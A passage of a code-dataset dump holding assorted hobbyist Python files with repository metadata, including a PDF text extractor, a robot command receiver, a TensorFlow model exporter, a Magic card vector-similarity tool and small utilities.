PATH_OUT sera supprimé\n\ndef prep_challenge(dir,n):\n if not os.path.exists(dir):\n os.makedirs(dir)\n for i in range(0,n):\n print(i)\n src_dir=\"../Pdf_test/fichier.pdf\"\n dst_dir=dir +\"/fichier\"+str(i)+\".pdf\"\n shutil.copy(src_dir,dst_dir)\n\n\ndef suppression_folder(dir):\n for the_file in os.listdir(dir):\n file_path = os.path.join(dir, the_file)\n try:\n if os.path.isfile(file_path):\n os.unlink(file_path)\n except Exception as e:\n print(e)\n\n\n\n\n\n\ndef extract_text_from_pdf(path_in, path_out,fichier, page_beg, page_end = 0):\n if (page_end == 0):\n page_end = page_beg\n\n fp = open(path_in + '/' + fichier, 'rb')\n parser = PDFParser(fp)\n doc = PDFDocument()\n\n parser.set_document(doc)\n doc.set_parser(parser)\n\n doc.initialize('')\n\n rsrcmgr = PDFResourceManager()\n laparams = LAParams()\n laparams.char_margin = 4.0 # 2.0 by default : two char whose distance is closer than this value are considered contiguous and get grouped into one.\n laparams.word_margin = 0.3 # 0.1 by default : distance between two words is greater than this value => insert space\n laparams.line_margin = 0.5 # 0.5 by default : Distance between 2 Lines under this value are grouped\n\n device = PDFPageAggregator(rsrcmgr, laparams=laparams)\n interpreter = PDFPageInterpreter(rsrcmgr, device)\n extracted_text = ''\n\n x = list(doc.get_pages())\n for i in range (page_beg-1, page_end):\n page = x[i]\n extracted_text += \"EXTRACTION DE LA PAGE \" + str(i+1) + \"\\n\\n\"\n interpreter.process_page(page)\n layout = device.get_result()\n for lt_obj in layout:\n if isinstance(lt_obj, LTTextBox) or isinstance(lt_obj, LTTextLine):\n extracted_text += lt_obj.get_text()\n extracted_text += \"\\n\"\n\n return extracted_text\n\n\ndef fonction(fichier,path_in,path_out):\n\n file = open((path_out + \"/\" + fichier).replace(\"pdf\",\"txt\"), \"w\")\n file.write(extract_text_from_pdf(path_in,path_out,fichier,1))\n file.close()\n\n\ndef folderpdf2foldertxt_p(path_in,path_out):\n start_time = time.time()\n if not os.path.exists(path_out):\n os.makedirs(path_out)\n l=[]\n for f in os.listdir(path_in):\n l.append(f)\n\n fonction2 = partial (fonction,path_in = path_in, path_out = path_out)\n if __name__== '__main__':\n p = Pool(150)\n p.map(fonction2,l)\n\n interval = time.time() - start_time\n print ('Total time in seconds:', interval)\n return interval\n\n\nsuppression_folder(path_out)\nfolderpdf2foldertxt_p(path_in,path_out)\n","repo_name":"LorysHamadache/pdf2txt","sub_path":"Python3/pdf2txt.py","file_name":"pdf2txt.py","file_ext":"py","file_size_in_byte":3090,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"74907850132","text":"#Advent of code 2021\n# 12/05/21 day 3b\n# Joe McFarland\n# import sys\n# import re\nimport copy\n\nfilename = \"data3.txt\"\n\nfile = open(filename)\nfilestr = file.read()\na_list = filestr.split(\"\\n\")\nmaxrows = len(a_list)\n#print(a_list)\nmaxcols = len(a_list[0])\n\ndef findDiag( isOxygen ):\n diag = None\n current_list = copy.deepcopy(a_list)\n for col in range(maxcols):\n zero_bits = one_bits = 0\n for row in current_list:\n if row[col] == \"0\":\n zero_bits += 1\n elif row[col] == \"1\":\n one_bits += 1\n if ( isOxygen ):\n if one_bits >= zero_bits:\n common = 1 # most common\n else:\n common = 0\n else:\n if one_bits < zero_bits:\n common = 1 # least common\n else:\n common = 0\n new_list = []\n for row in current_list:\n if row[col] == str(common):\n new_list.append(row)\n #print(f\"new_list(col={col}):\\n{new_list}\")\n if len(new_list) == 1:\n print(f\"found entry, {new_list}\")\n #found_val = new_list[0]\n diag = int(new_list[0],2)\n break\n current_list = copy.deepcopy(new_list)\n print(f\"diag = {diag}\")\n return diag\n\nogen = findDiag( True )\nco2 = findDiag( False )\nprint(f\"mul = {ogen*co2}\")\n","repo_name":"jrmdev1/adventofcode2021","sub_path":"3b.py","file_name":"3b.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"32819900829","text":"# Create priority queue\n# In main create three threads\n# 1 for managing actions (stores priority queue)\n# 1 for reading sensor data\n# Updates sensor data through wifi and propiosense system\n# 1 for executing the first action in the priority queue\n\nfrom Registry import Registry\n# from commands import *\n\nimport re\nimport threading\nimport socket\nimport heapq\nimport time\n#import serial\n\nclass Receiver:\n def __init__(self, host, port):\n self.commands = []\n self.executions = []\n self.transmit = []\n self.data = []\n self.registry = Registry(IMU = None, ping = None, mode = None, jointAngles = None, position = None, velocity = None)\n self.timer = 0\n self.HOST = host\n self.PORT = port\n\n #connecting using scokets\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n print('Socket created')\n #managing error exception\n try:\n s.bind((self.HOST, self.PORT))\n except socket.error:\n print ('Bind failed ')\n\n s.listen(5)\n print('Socket awaiting messages')\n (self.conn, addr) = s.accept()\n print('Connected')\n \n \"\"\"Method receives commands from client and add to queue\"\"\"\n def telemetryReceive(self):\n # Commands must be in form \"PRIORITY|{COMMAND}|TIMESTAMP|CHECKSUM\"\n # awaiting for message\n while True:\n action = self.conn.recv(1024).decode('UTF-8')\n if len(action) > 0:\n heapq.heappush(self.commands,action)\n print(\"Received|\"+action)\n heapq.heappush(self.transmit,\"Received|\"+action)\n \n \"\"\"Method checks commands from queue and adds to execution queue\"\"\"\n def checkCommand(self):\n while True:\n if len(self.commands) > 0:\n #checking if the checksum of the command\n #equals the sum of all ascii values of every character \n #in command statement\n pattern = \"^[0-5]\\|.*\\|[0-9]{2}:[0-9]{2}\\|\" #everything but the checksum value\n checksum = \"\\w+$\" #checksum value\n popped = heapq.heappop(self.commands) #gets smallest value command\n com = re.findall(pattern, popped) \n numval = re.findall(checksum, popped)\n numval = numval[0]\n numval = int(numval,16) #converts hex to int\n print(com[0])\n print(sum([ord(i) for i in com[0]]))\n if numval == sum([ord(i) for i in com[0]]):\n print(\"working\")\n heapq.heappush(self.transmit, \"Correct|\"+popped)\n heapq.heappush(self.executions, popped)\n print(self.transmit)\n print(self.executions)\n else: \n heapq.heappush(self.transmit, \"Incorrect|\"+popped)\n \n def telemetryTransmit(self):\n while True:\n if len(self.transmit) > 0:\n print(\"Transmit queue\", self.transmit)\n self.conn.send(bytes(heapq.heappop(self.transmit),'utf-8')) \n\n def execute(self):\n while True:\n if len(self.executions) > 0:\n command = heapq.heappop(self.executions)\n print(command)\n heapq.heappush(self.transmit, \"Executed|\"+command)\n # if command == \"Password A_on_LED\":\n # if onAndOfffLed():\n # print(\"Executed: \", command)\n # else:\n # print(\"Did not execute correctly \", command)\n print(\"Inside execute\",self.executions)\n time.sleep(5)\n\n def balance(self):\n if self.data[0] > 100 and \"Balancing\" not in self.executions:\n heapq.heappush(self.executions, \"0_Balancing\")\n\n def gaitGen(self):\n print(\"Nothing\")\n\n def computerVision(self):\n print(\"Nothing\")\n\n def sensorData(self):\n var = \"\"\n delay(100)\n\n \n # Test\n # print(\"Inside\")\n # ser = serial.Serial('/dev/ttyACM0', 115200, timeout=1)\n # ser.reset_input_buffer()\n # while True:\n # print(\"Inside data\")\n ## # Read from Arduinos to know what motors and sensors there are\n # ser.write(\"Send ****s plz\\n\".encode('utf-8'))\n # line = ser.readline().decode('utf-8').rstrip()\n # print(line)\n\n def runSimul(self):\n threading.Thread(target=self.telemetryReceive).start()\n threading.Thread(target=self.checkCommand).start()\n threading.Thread(target=self.telemetryTransmit).start()\n threading.Thread(target=self.execute).start()\n\n threading.Thread(target=self.sensorData).start()\n\n threading.Thread(target=self.balance).start()\n threading.Thread(target=self.gaitGen).start()\n threading.Thread(target=self.comuterVision).start()\n\ndef startBoot():\n simulation = Receiver('10.235.1.145',12345)\n simulation.runSimul()\n","repo_name":"PotentiaRobotics/engine-software","sub_path":"control_systems/Control System/bootup.py","file_name":"bootup.py","file_ext":"py","file_size_in_byte":4441,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"31915617048","text":"\"\"\"Utilites used for hashing information throughout the app.\"\"\"\n\nimport datetime\nimport hashlib\nimport json\n\n\nclass DateEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, (datetime.datetime, datetime.date)):\n return obj.isoformat()\n else:\n return super(DateEncoder, self).default(obj)\n\n\ndef hash_dict(d):\n \"\"\"Return a hash of a dict that is unique for a given dict.\"\"\"\n s = json.dumps(d, sort_keys=True, separators=(',', ':'), cls=DateEncoder)\n m = hashlib.md5()\n m.update(s)\n return m.hexdigest()\n","repo_name":"bmritz/spend-tracker","sub_path":"hashing_utils.py","file_name":"hashing_utils.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"27868156829","text":"\"\"\"\noverwatch.py\n\nUtility class for creating a centralized/standardized python logger, with a sane default format, at the appropriate\nlogging level.\n\"\"\"\nimport logging\nimport sys\nimport warnings\n\n\n# Constants - for Formatting\nFORMATTER = logging.Formatter(\"[*] %(asctime)s - %(name)s - %(levelname)s :: %(message)s\", datefmt=\"%m/%d [%H:%M:%S]\")\n\n\ndef get_overwatch(level: int, name: str) -> logging.Logger:\n \"\"\"\n Initialize logging.Logger with the appropriate name, console, and file handlers.\n\n :param level: Default logging level --> should usually be INFO (inherited from entry point).\n :param name: Name of the top-level logger --> should reflect entry point.\n\n :return: Default logger object :: logging.Logger\n \"\"\"\n # Create Default Logger & add Handlers\n logger = logging.getLogger(name)\n logger.handlers = []\n logger.setLevel(level)\n\n # Create Console Handler --> Write to stdout\n console_handler = logging.StreamHandler(sys.stdout)\n console_handler.setFormatter(FORMATTER)\n logger.addHandler(console_handler)\n\n # Silence PyTorch Lightning loggers --> only get WARNING+ messages, suppress DataLoader warnings...\n logging.getLogger(\"pytorch_lightning\").setLevel(logging.WARNING)\n warnings.filterwarnings(\"ignore\", \".*does not have many workers.*\")\n\n # Do not propagate by default...\n logger.propagate = False\n return logger\n","repo_name":"siddk/mnist-vae-scaling","sub_path":"src/overwatch/overwatch.py","file_name":"overwatch.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"35602681624","text":"class Node(object):\r\n \"\"\"docstring for Node.\"\"\"\r\n def __init__(self, data):\r\n super(Node, self).__init__()\r\n self.data = data\r\n self.next = None\r\n\r\n\r\nclass LinkedList(object):\r\n \"\"\"docstring for LinkedList.\"\"\"\r\n def __init__(self):\r\n super(LinkedList, self).__init__()\r\n self.head = None\r\n\r\n def push(self, new_data):\r\n new_node = Node(new_data)\r\n new_node.next = self.head\r\n self.head = new_node\r\n\r\n def insertAfter(self, position, new_data):\r\n if(position==0):\r\n self.push(new_data)\r\n return\r\n\r\n prev_node = self.head\r\n while(prev_node.next and position-1!=0):\r\n prev_node = prev_node.next\r\n position -= 1\r\n\r\n if(position-1!=0):\r\n print(\"No suffiecient Element\")\r\n return\r\n\r\n new_node = Node(new_data)\r\n new_node.next = prev_node.next\r\n prev_node.next = new_node\r\n\r\n def append(self, new_data):\r\n new_node = Node(new_data)\r\n\r\n if self.head is None:\r\n self.head = new_node\r\n return\r\n\r\n last = self.head\r\n while(last.next):\r\n last = last.next\r\n\r\n last.next = new_node\r\n\r\n def delete(self, data):\r\n temp = self.head\r\n if(temp):\r\n if(temp.data==data):\r\n self.head = temp.next\r\n temp = None\r\n return\r\n\r\n while(temp):\r\n if(temp.data==data):\r\n break\r\n prev = temp\r\n temp = temp.next\r\n\r\n if(not temp):\r\n print(\"Data to be deleted not present\")\r\n return\r\n\r\n prev.next = temp.next\r\n temp = None\r\n\r\n def print_list(self):\r\n temp = self.head\r\n while(temp):\r\n print(temp.data)\r\n temp = temp.next\r\n\r\n\r\n\r\nif __name__=='__main__':\r\n sll = LinkedList()\r\n sll.append(6)\r\n sll.push(7)\r\n sll.push(1)\r\n sll.append(4)\r\n sll.insertAfter(2,8)\r\n sll.delete(9)\r\n\r\n print ('Created linked list is:')\r\n sll.print_list()\r\n","repo_name":"astikanand/InterviewPrep","sub_path":"Programs/singly_linked_list.py","file_name":"singly_linked_list.py","file_ext":"py","file_size_in_byte":2092,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"25892497228","text":"from machine import Pin, Timer\nimport time\n\ndef wait_pin_change(pin):\n \"Debounce a GPIO input\"\n # wait for pin to change value\n # it needs to be stable for a continuous 20ms\n cur_value = pin.value()\n active = 0\n while active < 20:\n if pin.value() != cur_value:\n active += 1\n else:\n active = 0\n time.sleep_ms(1)\n return cur_value\n \nled = Pin(25, Pin.OUT)\npwr = Pin(22, Pin.OUT, value=1)\nbtn = Pin(12, Pin.IN, Pin.PULL_UP)\ntimer = Timer()\n\ndef blink(timer):\n led.toggle()\n\n#timer.init(freq=2.5, mode=Timer.PERIODIC, callback=blink)\n\nenable = True\nwhile True:\n led.value(enable)\n pwr.value(enable)\n if 0 == wait_pin_change(btn):\n enable = not enable\n ","repo_name":"bwindrim/PicoPython","sub_path":"BirdBox3-1.py","file_name":"BirdBox3-1.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"8233142187","text":"#_*_Coding:utf-8_*_\nimport re #new lib\nimport random\ndef compare(guess=0):\n guessesTaken= 0\n out=0\n print('Hello! What is your name?')\n myName = input()\n number = int(random.randint(1, 100))\n print(number)\n print('Well, ' + myName + ', I am thinking of a number between 1 and 100.')\n while out==0: #setting the interrupter to prevent circulating forever\n while 1:\n print('Take a guess.')\n guess = input()\n if guess== \"q\":\n print('u quit')\n exit()\n if re.match('[a-zA-Z #$@%&\\()*]', guess): #regulation about arbitrary input letters and signals\n print('pls only input number between 0-100')\n break\n if 1<=int(guess) and int(guess)<=100: # optimizing the switch of 'guess' type\n guess=int(guess)\n guessesTaken = guessesTaken + 1\n if guess < number:\n print('Your guess is too low.')\n elif guess > number:\n print('Your guess is too high.')\n elif guess == number:\n out=out+1\n break\n else:\n print('pls input number between 0-100')\n if guess == number:\n guessesTaken = str(guessesTaken)\n print('Good job, ' + myName + '! You guessed my number in ' + guessesTaken + ' guesses!')\ncompare()","repo_name":"HulkCandy/PRT452-Random-number-TDD","sub_path":"Random number/Refactoring.py","file_name":"Refactoring.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10656433928","text":"import numpy as np\nimport os\nimport os.path\nimport tensorflow.compat.v1 as tf\n\nPATH_TO_CKPT = os.path.abspath(\n '/home/cucumber/somputer-vision/python/core/models/ssd_inception_v2_coco_2018_01_28/frozen_inference_graph.pb')\n\nexport_dir = os.path.join('/home/cucumber/export_cpu')\n\n# INPUT_NODES = ('', '') # 3 elem\n\nOUTPUT_NODES = ('image_tensor:0', 'detection_boxes:0', 'detection_scores:0', 'detection_classes:0')\n\ngraph_def = tf.GraphDef()\nwith tf.gfile.GFile(PATH_TO_CKPT, \"rb\") as f:\n graph_def.ParseFromString(f.read())\n\ngraph = tf.Graph()\n\nwith graph.as_default():\n input_image, detection_boxes, detection_scores, detection_classes = tf.import_graph_def(\n graph_def, return_elements=OUTPUT_NODES)\n\n sess_config = tf.ConfigProto()\n sess_config.gpu_options.allow_growth = True\n sess = tf.Session(graph=graph, config=sess_config)\n\n # Create SavedModelBuilder class\n # defines where the model will be exported\n export_path_base = \"/home/cucumber/cars/export\"\n export_path = os.path.join(\n tf.compat.as_bytes(export_path_base),\n tf.compat.as_bytes(str(0)))\n print('Exporting trained model to', export_path)\n\n current_graph = tf.get_default_graph()\n\n builder = tf.saved_model.builder.SavedModelBuilder(export_path)\n\n input_image_tensor = tf.saved_model.build_tensor_info(graph.get_tensor_by_name('import/image_tensor:0'))\n\n output_detection_boxes = tf.saved_model.build_tensor_info(graph.get_tensor_by_name(\"import/detection_boxes:0\"))\n output_detection_scores = tf.saved_model.build_tensor_info(graph.get_tensor_by_name(\"import/detection_scores:0\"))\n output_detection_classes = tf.saved_model.build_tensor_info(graph.get_tensor_by_name(\"import/detection_classes:0\"))\n\n prediction_signature = (\n tf.saved_model.build_signature_def(\n inputs={'image_tensor:0': input_image_tensor\n },\n\n outputs={\"detection_boxes:0\": output_detection_boxes,\n \"detection_scores:0\": output_detection_scores,\n \"detection_classes:0\": output_detection_classes\n },\n\n method_name=tf.saved_model.signature_constants.PREDICT_METHOD_NAME))\n\n builder.add_meta_graph_and_variables(\n sess, [tf.saved_model.tag_constants.SERVING],\n signature_def_map={\n 'serving_default':\n prediction_signature,\n })\n\n builder.save(as_text=False)\n","repo_name":"Progfr0g/work4","sub_path":"cars/export_model.py","file_name":"export_model.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14765591920","text":"import re,sys,subprocess,os,struct,math\nfrom os import listdir\nfrom os.path import isfile, join\nfrom multiprocessing.dummy import Pool as ThreadPool\n\nmax_w = 50 #Max length of vocabulary entries\n\ndef getVectorData(filename):\n f = open(filename,\"rb\")\n words = int(f.read(4))\n size = int(f.read(4))\n vocab = [\" \"] * (words * max_w)\n M = []\n for b in range(0,words):\n a = 0\n while True:\n c = f.read(1)\n vocab[b * max_w + a] = c;\n if len(c) == 0 or c == ' ':\n break\n if (a < max_w) and vocab[b * max_w + a] != '\\n':\n a += 1\n tmp = list(struct.unpack(\"f\"*size,f.read(4 * size)))\n length = math.sqrt(sum([tmp[i] * tmp[i] for i in range(0,len(tmp))]))\n for i in range(0,len(tmp)):\n tmp[i] /= length\n M.append(tmp)\n \n f.close()\n return ((\"\".join(vocab)).split(),M)\n\ndef makevector(vocabulary,vecs,sequence):\n words = sequence.split()\n indices = []\n for word in words:\n if word not in vocabulary:\n #print(\"Missing word in vocabulary: \" + word)\n continue\n #return [0.0]*len(vecs[0])\n indices.append(vocabulary.index(word))\n #res = map(sum,[vecs[i] for i in indices])\n res = None\n for v in [vecs[i] for i in indices]:\n if res == None:\n res = v\n else:\n res = [x + y for x, y in zip(res,v)]\n length = math.sqrt(sum([res[i] * res[i] for i in range(0,len(res))]))\n for i in range(0,len(res)):\n res[i] /= length\n return res\n\nnameFieldPattern = re.compile(\"\\\\|(.*?)\\\\|.*?\",re.IGNORECASE|re.DOTALL)\nmanaCostPattern = re.compile(\"(\\\\{.*?\\\\})\",re.IGNORECASE|re.DOTALL)\ndef sanitizeInput(cardline):\n nameMatch = nameFieldPattern.search(cardline)\n if nameMatch:\n cardline = cardline.replace(nameMatch.group(1),\"\") #Eliminate the name.\n cardline = cardline.replace(\"|\",\" \") #And then eliminate all the field delimiting bars.\n\n needsPadding = [\",\",\".\",\"\\\\\",\":\",\"[\",\"]\",\"~\",\"/\",\"\\\"\",\";\"]\n for symbol in needsPadding:\n cardline = cardline.replace(symbol, \" \" + symbol + \" \")\n mcosts = re.findall(manaCostPattern,cardline)\n for match in mcosts:\n cardline = cardline.replace(match,\" \".join(match))\n return (nameMatch.group(1),cardline)\n\ndef convertEncodedCorpusForTraining(filename=\"src\\script\\corpus_encoded.txt\",outname=\"src/script/convertedcorpus.txt\"):\n f = open(filename)\n outputFile = open(outname,'w')\n for cardline in f:\n if \"|\" in cardline: #Skip if it's an empty line\n outputFile.write(sanitizeInput(cardline)[1] + \"\\n\")\n f.close()\n outputFile.close()\n\ndef getOriginalCardVectors(filename=\"src/script/corpus_encoded.txt\",vectorFileName=\"src/script/vectors_cbow.bin\"):\n cards = open(filename)\n (vocab,vecs) = getVectorData(vectorFileName)\n outvecs = []\n for cardline in cards:\n if \"|\" in cardline:\n (name,cleanline) = sanitizeInput(cardline)\n outvecs.append((name,makevector(vocab,vecs,cleanline)))\n cards.close()\n return (vocab,vecs,outvecs)\n\ndef cosine_similarity(v1,v2):\n #compute cosine similarity of v1 to v2: (v1 dot v1)/{||v1||*||v2||)\n sumxx, sumxy, sumyy = 0, 0, 0\n for i in range(len(v1)):\n x = v1[i]; y = v2[i]\n sumxx += x*x\n sumyy += y*y\n sumxy += x*y\n return sumxy/math.sqrt(sumxx*sumyy)\n\n#For showcasing purposes\ndef getDistanceStats(originalvecs):\n distances = []\n for i in range(len(originalvecs)):\n for j in range(len(originalvecs)):\n if i < j:\n distances.append(cosine_similarity(originalvecs[i][1],originalvecs[j][1]))\n print(\"min: \" + str(min(distances)))\n print(\"max: \" + str(max(distances)))\n print(\"avg: \" + str(sum(distances) / len(distances)))\n\ndef getCardMatches(vecdata,cardline,n=160):\n (vocab,vecs,cardvecs) = vecdata\n (name,cleanline) = sanitizeInput(cardline)\n cardvec = makevector(vocab,vecs,cleanline)\n comparisons = [(cosine_similarity(cardvec,v),name) for (name,v) in cardvecs]\n comparisons.sort()\n for i in range(n):\n print(str(i) + \", \" + str(comparisons[len(comparisons)-1-i]))\n\ndef addVectors(v0,v1):\n res = [v0[i] + v1[i] for i in range(len(v0))]\n length = math.sqrt(sum([res[i] * res[i] for i in range(0,len(res))]))\n for i in range(0,len(res)):\n res[i] /= length\n return res\n\ndef scaleVector(v,k):\n res = [v[i] * k for i in range(len(v))]\n return res\n\ndef combineCards(vecdata,cardLineA,cardLineB,scaleFactorA=1.0,scaleFactorB=1.0,matchN=10,getMatches=True):\n vocab,vecs,cardvecs = vecdata\n #vecA = scaleVector(makevector(vocab,vecs,sanitizeInput(cardLineA)[1]),scaleFactorA) #Not good!\n vecA = scaleVector(makevector(vocab,vecs,cardLineA),scaleFactorA)\n #vecB = scaleVector(makevector(vocab,vecs,sanitizeInput(cardLineB)[1]),scaleFactorB) #Not good!\n vecB = scaleVector(makevector(vocab,vecs,cardLineB),scaleFactorB) \n vecC = addVectors(vecA,vecB)\n if getMatches:\n #print(\"Closest matches are...\")\n print(\"{\\\"resultCards\\\":[\")\n comparisons = [(cosine_similarity(vecC,v),name) for (name,v) in cardvecs]\n comparisons.sort()\n for i in range(matchN):\n if(i+1 != matchN):\n print(((\"{\" + str(comparisons[len(comparisons)-1-i]).replace(\"(\", \"\\\"deviation\\\":\").replace(\",\",\",\\\"cardname\\\":\", 1).replace(\")\",\"\") + \"},\").replace(\": '\", \": \\\"\")).replace(\"'}\", \"\\\"}\"))\n else: # Have to account for json's \"last item has no comma\" stuff.\n print(((\"{\" + str(comparisons[len(comparisons)-1-i]).replace(\"(\", \"\\\"deviation\\\":\").replace(\",\",\",\\\"cardname\\\":\", 1).replace(\")\",\"\") + \"}\").replace(\": '\", \": \\\"\")).replace(\"'}\", \"\\\"}\"))\n print(\"]}\")\n return vecC\n\ndef getCardTable(corpusFileName=\"src/script/corpus_encoded.txt\"):\n table = {}\n cf = open(corpusFileName,'r')\n for line in cf:\n nameMatch = nameFieldPattern.search(line)\n if nameMatch:\n name,cardline = sanitizeInput(line)\n table[name] = cardline\n cf.close()\n return table\n\npool = ThreadPool(4)\n\nvecdata = getOriginalCardVectors()\n\ntable = getCardTable()\nstr1 = table[str(sys.argv[1])]\nstr2 = table[str(sys.argv[2])]\nscaleB = float(sys.argv[3])\nscaleA = 1 - scaleB\ncombineCards(vecdata,str1,str2,scaleA,scaleB);\n\n\n\n \n\n\n \n \n\n","repo_name":"PAK90/cardcrunch_old","sub_path":"src/script/magicvector.py","file_name":"magicvector.py","file_ext":"py","file_size_in_byte":6407,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"67"} +{"seq_id":"19655541101","text":"from nephelae.types import Bounds\n\n# This statement import all mission types in mission.types\n# and also the missionTypes dictionary which can be used to instanciate\n# any of these classes\nfrom .types import *\n\nfrom .rules import ParameterRules\n\nclass MissionFactory:\n\n \"\"\"\n MissionFactory\n\n Factory class for mission instances. Mostly manage parameter\n rules (Bounds, default values...).\n\n \"\"\"\n\n def __init__(self, missionType, parameterRules=None, updateRules=None):\n \"\"\"\n Parameters\n ----------\n\n missionType : str\n Identifier of the mission type which will be instanciated when\n calling build.\n \n parametersRules : dict(str:ParameterRules, ...)\n keys : str\n Parameter names for this particular mission type.\n Not including parameters common to all mission types.\n values : ParameterRules\n Rules for a parameter (allowed bounds, default value...)\n # Allowed bounds for this particular parameter. The factory\n # will raise an exception if these bounds are not respected\n # when building a mission.\n # Can be None or Bounds(None, None) to ignore some checks.\n \"\"\"\n\n # All mission parameter must have rules objects.\n # This block add missing ParameterRules (all permissive)\n if parameterRules is None:\n parameterRules = {}\n for paramName in missionTypes[missionType].parameterNames:\n if paramName not in parameterRules.keys():\n parameterRules[paramName] = ParameterRules([], paramName)\n elif parameterRules[paramName] is None:\n parameterRules[paramName] = ParameterRules([], paramName)\n for key in parameterRules.keys():\n if isinstance(parameterRules[key], list):\n parameterRules[key] = ParameterRules(parameterRules[key], key)\n \n # Same for update parameters\n if updateRules is None:\n updateRules = {}\n for paramName in missionTypes[missionType].updatableNames:\n if paramName not in updateRules.keys():\n updateRules[paramName] = ParameterRules([], paramName)\n elif updateRules[paramName] is None:\n updateRules[paramName] = ParameterRules([], paramName)\n for key in updateRules.keys():\n if isinstance(updateRules[key], list):\n updateRules[key] = ParameterRules(updateRules[key], key)\n\n self.missionType = missionType\n self.parameterRules = parameterRules\n self.updatableRules = updateRules\n\n\n def __str__(self):\n res = \"Parameters :\\n \"\n for key in self.parameterRules.keys():\n tmp = self.parameterRules[key].description()\n res = res + tmp.replace('\\n','\\n ')\n res = res[:-3] + \"Update rules :\\n \"\n for key in self.updatableRules.keys():\n tmp = self.updatableRules[key].description()\n res = res + tmp.replace('\\n','\\n ')\n res = \"MissionFactory for mission \" + self.missionType + '\\n ' +\\\n res.replace('\\n','\\n ')\n return res\n\n\n def build(self, missionId, aircraftId, insertMode, duration,\n positionOffset=None, navFrame=None, pprzNavFrame=None,\n **missionParameters):\n \"\"\"\n This is the main function to build an instance of a mission.\n This will check parameters according to bounds given in\n self.parameterBounds.\n \n After this step, the Mission instance should NOT be modified.\n \"\"\"\n checkedParams = {}\n for key in self.parameterRules.keys():\n try:\n parameter = missionParameters[key]\n except KeyError as e:\n parameter = None\n checkedParams[key] = self.parameterRules[key].check(parameter)\n # Instanciating a mission from the global missionTypes list\n # Keywords argument parameters are in a dictionary which can\n # be expanded with ** on function call.\n return missionTypes[self.missionType](missionId, aircraftId,\n insertMode, duration,\n positionOffset,\n navFrame, pprzNavFrame,\n updateRules=self.updatableRules,\n **checkedParams)\n\n def parameter_names(self):\n return missionTypes[self.missionType].parameterNames\n\n\n def parameter_tags(self):\n return missionTypes[self.missionType].parameterTags\n\n\n def parameter_rules_summary(self):\n res = {}\n for key in self.parameterRules.keys():\n res[key] = self.parameterRules[key].summary()\n return res\n\n\n def updatable_names(self):\n return missionTypes[self.missionType].updatableNames\n\n\n def updatable_tags(self):\n return missionTypes[self.missionType].updatableTags\n\n\n def updatable_rules_summary(self):\n res = {}\n for key in self.updatableRules.keys():\n res[key] = self.updatableRules[key].summary()\n return res\n\n\n\n","repo_name":"pnarvor/nephelae_paparazzi","sub_path":"nephelae_paparazzi/missions/MissionFactory.py","file_name":"MissionFactory.py","file_ext":"py","file_size_in_byte":5271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31764619140","text":"\"\"\" Utility methods for parsing user inputs via input().\n\nThis module provides common utility functions for accepting and validating\nuser inputs via the input() method.\n\nTodo:\n * Redo documentation for updated format\n\"\"\"\n\nfrom typing import Any, List\n\nimport pandas as pd\nimport dateutil\n\n\ndef prompt_from_choices(\n choices: List[Any],\n prompt: str = None,\n zero_indexed: bool = False,\n use_index: bool =True):\n \"\"\" Prompt from a list of choices\n \n Prompt the user from a list of potential choices. You can retrieve either\n the location of the choice in the initial choice list or use the\n automatically-generated selection index number. You can also indicate\n whether the choices should be presented starting at 0\n\n Args:\n choices: List of choices to present to the user\n prompt: Optional prompt to be used instead of generating a full list\n zero_indexed: Flag to indicate whether to use zero-indexing for options\n use_index: Flag to indicate selection on the index or actual value\n\n Returns:\n Any: The selected value\n Int: The location of the selected value in the provided list of choices\n \"\"\"\n # Setup selection index\n if zero_indexed:\n choices_index = list(range(0, len(choices)))\n else:\n choices_index = list(range(1, len(choices) + 1))\n\n if prompt is None:\n prompt_list = [f\"[{index}] {value}\"\n for index, value\n in zip(choices_index, choices)]\n prompt = \"\\n\".join(prompt_list) + \"\\nSelection: \"\n\n while True:\n try:\n selection = int(input(prompt))\n \n # Use appropriate input validation\n if use_index:\n if selection not in choices_index:\n raise ValueError\n else:\n if selection not in choices:\n raise ValueError\n\n except ValueError:\n print(\"Please enter one of the valid options.\\n\")\n else:\n if use_index and zero_indexed:\n return(choices[selection])\n elif use_index and not zero_indexed:\n return(choices[selection - 1])\n elif not use_index and zero_indexed:\n return(choices[list(choices).index(selection)])\n else:\n return(choices[list(choices).index(selection) - 1])\n\n\ndef prompt_for_pos_int(prompt: str):\n \"\"\" Prompt user to input a positive integer\n\n This method requires the user to enter a valid positive integer. The user\n is prompted until a valid positive integer is passed.\n\n Args:\n prompt: Prompt user sees on the command line\n\n Returns:\n selection (int): Validated positive integer from user input\n \"\"\"\n while True:\n try:\n selection = int(input(prompt))\n if selection < 0:\n raise ValueError\n return(selection)\n except ValueError:\n print(\"Please enter a positive integer.\\n\")\n\n\ndef prompt_for_date(prompt: str, as_string: bool = False):\n \"\"\" Prompt user to input a date\n\n This method requires a user to enter a string that can be correctly\n parsed as a dateutil.date object. The user is prompted until a properly\n formatted string is passed.\n\n Args:\n prompt: Prompt user sees on the command line\n\n Outputs:\n (string): Validated date in a string format from user input\n (datetime.date): Validated date as date type from user input\n \"\"\"\n while True:\n try:\n if as_string:\n return(input(prompt))\n else:\n 